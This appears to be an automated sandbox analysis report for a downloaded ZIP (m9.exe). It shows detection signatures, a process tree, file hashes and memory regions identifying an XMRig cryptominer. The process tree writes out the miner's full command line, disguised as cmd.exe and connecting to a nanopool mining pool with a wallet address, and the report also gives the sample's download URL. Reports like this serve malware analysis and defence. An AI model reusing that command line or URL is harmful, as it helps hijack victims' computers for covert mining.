Analysis

  • max time kernel
    1799s
  • max time network
    1795s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-07-2024 15:22

General

  • Target

    https://filebin.net/48zrpcycjim0b4uz/m9.zip

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 45 IoCs
  • Modifies registry class 45 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://filebin.net/48zrpcycjim0b4uz/m9.zip
    1⤵
    • Modifies Internet Explorer Phishing Filter
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:876
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:876 CREDAT:17410 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      PID:4132
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:544
    • C:\Users\Admin\Desktop\m9\m9\m9.exe
      "C:\Users\Admin\Desktop\m9\m9\m9.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\System32\conhost.exe
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Desktop\m9\m9\m9.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Windows\System32\cmd.exe
          C:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-west1.nanopool.org:10343 --user=44SBea2RiopNVzWLFE18jADhLfqCRJdb57n1bEPpvHbwVBvFiHdKc92JAR2JpQif11APJrz2AD5AgW83uVkNT6mn7Ru8N7V.{COMPUTERNAME} --pass= --cpu-max-threads-hint=20 --tls
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of AdjustPrivilegeToken
          PID:3024
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4832

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\versionlist.xml

      Filesize

      15KB

      MD5

      1a545d0052b581fbb2ab4c52133846bc

      SHA1

      62f3266a9b9925cd6d98658b92adec673cbe3dd3

      SHA256

      557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

      SHA512

      bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

    • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\3n85x91\imagestore.dat

      Filesize

      4KB

      MD5

      0e8d2682332ac39677215c2036630559

      SHA1

      bd26d6892cd17df0540305100e7aeab29c24d1bc

      SHA256

      d536d59f7908cbbc45abc77ed59090c675c19ec7cf943bae16fb825b46e38de7

      SHA512

      f24ccfdc6abd93f246aac4cf8c96c3562cccf69fe9c917fed5e4ec43b16480539e350c4023255da09e208858d83ae1bf7a3f7fb7d689a0219688496258614267

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MDMHN06X\favicon[1].png

      Filesize

      4KB

      MD5

      da2306b75b2f0aaf430c2772bf44ea9a

      SHA1

      cbe04f3803c36699295b3415a3f61faa4cd3478c

      SHA256

      6eebe71c5972ec8a118ff61e9a7251135ce99c42d721c53a377a74a11caecd6f

      SHA512

      b6b1b5c1125072306912891b8d94df5a846513b4ff8b1269d20bc12d358aad610ac9ebf7c11e861d7adcc6142abc12c36b8b1d2cd00dadccc2f09a922dd6f40a

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\VF89GZ6O\suggestions[1].en-US

      Filesize

      17KB

      MD5

      5a34cb996293fde2cb7a4ac89587393a

      SHA1

      3c96c993500690d1a77873cd62bc639b3a10653f

      SHA256

      c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

      SHA512

      e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

    • memory/1892-75-0x000001FF72A00000-0x000001FF72C18000-memory.dmp

      Filesize

      2.1MB

    • memory/1892-76-0x00007FFAF7B43000-0x00007FFAF7B45000-memory.dmp

      Filesize

      8KB

    • memory/1892-77-0x000001FF754E0000-0x000001FF756F8000-memory.dmp

      Filesize

      2.1MB

    • memory/1892-78-0x000001FF74A80000-0x000001FF74A92000-memory.dmp

      Filesize

      72KB

    • memory/1892-80-0x00007FFAF7B40000-0x00007FFAF8601000-memory.dmp

      Filesize

      10.8MB

    • memory/1892-81-0x00007FFAF7B40000-0x00007FFAF8601000-memory.dmp

      Filesize

      10.8MB

    • memory/1892-82-0x00007FFAF7B40000-0x00007FFAF8601000-memory.dmp

      Filesize

      10.8MB

    • memory/1892-94-0x00007FFAF7B40000-0x00007FFAF8601000-memory.dmp

      Filesize

      10.8MB

    • memory/3024-93-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-110-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-89-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-92-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-85-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-95-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-91-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-90-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-83-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-88-0x00000253B7430000-0x00000253B7450000-memory.dmp

      Filesize

      128KB

    • memory/3024-96-0x00000253B8D20000-0x00000253B8D40000-memory.dmp

      Filesize

      128KB

    • memory/3024-87-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/3024-111-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/4832-99-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-109-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-108-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-107-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-106-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-105-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-104-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-103-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-97-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB

    • memory/4832-98-0x000002844B260000-0x000002844B261000-memory.dmp

      Filesize

      4KB